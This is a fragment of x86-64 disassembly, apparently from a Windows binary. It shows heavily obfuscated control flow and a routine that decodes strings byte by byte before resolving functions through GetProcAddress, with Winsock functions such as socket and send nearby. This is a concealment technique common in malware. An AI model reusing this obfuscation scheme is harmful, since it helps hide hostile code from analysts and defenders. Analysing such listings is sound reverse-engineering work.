jb 0x14006c86a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006c530
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006c839
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006c81a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006c7fb
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006c7dc
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006c7ba
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006c79b
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006c776
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006c74e
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006c72f
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006c530
lea rbx, [r8 + 5]
lea r8, [rbx + 0x28]
jmp 0x14006c530
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x27
jmp 0x14006c520
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x7d
jmp 0x14006c4b0
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2d
jmp 0x14006c456
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
movzx r9d, r10b
jmp 0x14006ce64
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006c443
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006c443
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x36
movzx r9d, r10b
jmp 0x14006cdff
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x14006cec0
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r11b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006cec0
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x34
movzx r9d, r10b
jmp 0x14006cd40
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006cd84
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
lea ecx, [r10 + 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x31
mov byte [rbp + r10 + 0x120], dil
inc r10
jmp 0x14006c443
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x25
cmp r8, 5
jb 0x14006c880
movzx r9d, r10b
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x44]
jmp 0x14006ce64
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x7b
cmp rbx, 0x10
jae 0x14006ccfa
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14006cc49
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r11b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c8a6
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2f
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x14006cd25
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14006cb96
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x41
jmp 0x14006c8e4
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2a
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006cd84
movzx r9d, r10b
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
jmp 0x14006cd40
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x14006cec0
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x14006cec0
movzx r9d, r10b
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
jmp 0x14006cdff
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x26
dec r10
inc r10
jmp 0x14006c443
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006c443
movzx r9d, r10b
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7a
jmp 0x14006ce64
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14006cab9
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x55
jmp 0x14006c930
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006caef
lea ecx, [r10 + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xe
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006cb13
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
jmp 0x14006cd84
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006cb3a
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x66
add rbx, r8
jmp 0x14006cec0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006cb66
movzx r9d, r10b
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006cdff
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006c930
movzx r9d, r10b
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ce64
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006cbbe
movzx r9d, r10b
lea ecx, [r9 + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x15
jmp 0x14006ce64
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006cbe8
lea ecx, [r10 - 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x3f
dec r10
inc r10
jmp 0x14006c443
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006cc0f
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6d
add rbx, r8
jmp 0x14006cec0
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006c8e4
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x3b
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006cc7f
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1c
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006cca3
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1e
jmp 0x14006cec0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ccca
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
add rbx, r8
jmp 0x14006cec0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006c8a6
movzx r9d, r10b
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r11b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006cdff
movzx r9d, r10b
lea edx, [r9 - 0x38]
movzx eax, dl
and al, r11b
add al, al
movzx edi, byte [rbp + r10 + 0x120]
sub dil, al
sub dil, 0x78
add dil, r11b
add dil, dl
jmp 0x14006cdff
movzx r9d, r10b
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x7f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x79
add r9b, r11b
movzx eax, r9b
mov byte [rbp + r10 + 0x120], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14006cd84
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x49
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x24
add cl, r11b
mov byte [rbp + r10 + 0x120], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x4b
add rbx, r8
jmp 0x14006cec0
movzx r9d, r10b
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5f
add r9b, 5
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x23
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x120], r9b
add rbx, r8
jmp 0x14006cec0
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 9
dec r10
inc r10
jmp 0x14006c443
movzx r9d, r10b
lea ecx, [r9 + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5d
sub r9b, 0x75
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x33
add r9b, r11b
mov byte [rbp + r10 + 0x120], r9b
inc r8
dec r10
inc r10
jmp 0x14006c443
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x59
add rbx, r8
jmp 0x14006cec0
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 3
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14006c443
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
dec dil
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c443
sub r10b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x29
jmp 0x14006c440
add r10b, 0x37
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x7f
jmp 0x14006c430
lea rdx, [rbp + 0x1441e1c]
jmp 0x14006cf56
lea rdx, [rbp + 0x4b9559]
jmp 0x14006cf56
lea rdx, [rbp + 0x120]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
mov byte [rbp + 0x140], gethostname
mov byte [rbp + 0x141], 0x1e
mov byte [rbp + 0x142], WSASetLastError
mov byte [rbp + 0x143], reloc.WS2_32.dll_select
mov byte [rbp + 0x144], 0x61
mov byte [rbp + 0x145], 0x63
mov byte [rbp + 0x146], 0x18
mov byte [rbp + 0x147], WSACleanup
mov byte [rbp + 0x148], 0x77
mov byte [rbp + 0x149], 1
mov byte [rbp + 0x14a], 0x61
mov byte [rbp + 0x14b], 0x66
mov byte [rbp + 0x14c], 0xf2
xor eax, eax
mov dword [rbp + 0x14d], eax
mov word [rbp + 0x151], ax
movabs rsi, 0xc554d5941b2b731f
movabs r12, 0xeffb8234f4870c17
movabs r13, 0x4ffe80bc5182595d
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x13
jae 0x14006dbec
movzx r10d, byte [rbp + r11 + 0x140]
mov rdx, r10
nop dword [rax + rax]
cmp rbx, r11
ja 0x14006dbe3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006d04c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x27
jmp 0x14006d0a0
je 0x14006db75
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006dae1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006dab4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006da98
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006da54
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006da32
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006d9e7
cmp r8, r11
ja 0x14006dbda
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14006d0ca
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x14006d100
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006d9ca
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006d9ae
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006d98f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006d961
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006d65e
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006d63f
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006d617
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006d5f2
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006d5d3
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006d5b5
lea rcx, [r8 + 0x28]
cmp rbx, rcx
je 0x14006d596
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006d57b
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006d560
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006d52f
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006d110
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14006dbbd
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14006dba0
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x14006d2da
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14006d2bf
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14006d2a4
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x14006d4da
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006d48e
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006d44e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006d428
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14006d3f7
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14006d3d8
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14006d3bd
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14006d39e
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14006d37c
lea rcx, [r8 + 0x64]
cmp rbx, rcx
ja 0x14006d35d
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006d33c
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006d314
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006d2f5
mov rbx, rcx
lea r8, [rcx + 9]
jmp 0x14006d110
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x14006d100
lea ecx, [r11 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x21
jmp 0x14006d0a0
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
jmp 0x14006d018
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
movzx r9d, r11b
jmp 0x14006da05
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006d005
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
dec r11
inc r11
jmp 0x14006d005
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
movzx r9d, r11b
jmp 0x14006da72
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14006dac8
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dac8
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14006db03
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006db2e
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
mov byte [rbp + r11 + 0x140], dil
inc r11
jmp 0x14006d005
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
cmp r8, 0x28
jb 0x14006d43e
movzx r9d, r11b
lea edx, [r9 + 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006da05
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
cmp rbx, 0x64
jae 0x14006d91d
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14006d83b
lea edx, [r11 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d464
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x14006d945
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006d762
lea edx, [r11 + 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x4b
add dil, dl
jmp 0x14006d4a4
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x14006db2e
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x14006db03
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dac8
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
add rbx, r8
jmp 0x14006dac8
movzx r9d, r11b
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x14006da72
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006d005
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006d005
movzx r9d, r11b
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x14006da05
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14006d685
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x27
jmp 0x14006d4f0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d6bf
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d6e7
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006db03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d70f
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dac8
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006d736
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
add rbx, r8
jmp 0x14006dac8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d4f0
movzx r9d, r11b
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14006da72
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d78b
movzx r9d, r11b
lea edx, [r9 - 0x5f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x67
jmp 0x14006da02
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d7b3
lea ecx, [r11 - 0x67]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2f
add rbx, r8
jmp 0x14006dac8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d7d8
lea ecx, [r11 - 0x29]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x1f
jmp 0x14006dac8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006d800
lea edx, [r11 + 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x14006db03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d4a4
lea ecx, [r11 - 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 9
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d872
lea ecx, [r11 + 0x2c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d89a
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006db03
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d8c5
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x14006dac8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006d8f0
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x14006d005
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006d464
movzx r9d, r11b
lea edx, [r9 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006da02
movzx r9d, r11b
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0x140]
sub dil, al
sub dil, 0x28
add dil, r10b
jmp 0x14006da6f
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006db03
lea ecx, [r11 - 0x47]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0xf
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea edx, [r11 + 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x55
add dil, dl
jmp 0x14006db03
lea ecx, [r11 - 1]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 7
jmp 0x14006dac8
movzx r9d, r11b
lea edx, [r9 - 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7f
jmp 0x14006da02
movzx r9d, r11b
lea edx, [r9 + 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1b
add dil, dl
add r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x4f
add r10b, r9b
mov byte [rbp + r11 + 0x140], r10b
inc r8
dec r11
inc r11
jmp 0x14006d005
lea ecx, [r11 - 0x2f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x49
dec r11
inc r11
jmp 0x14006d005
movzx r9d, r11b
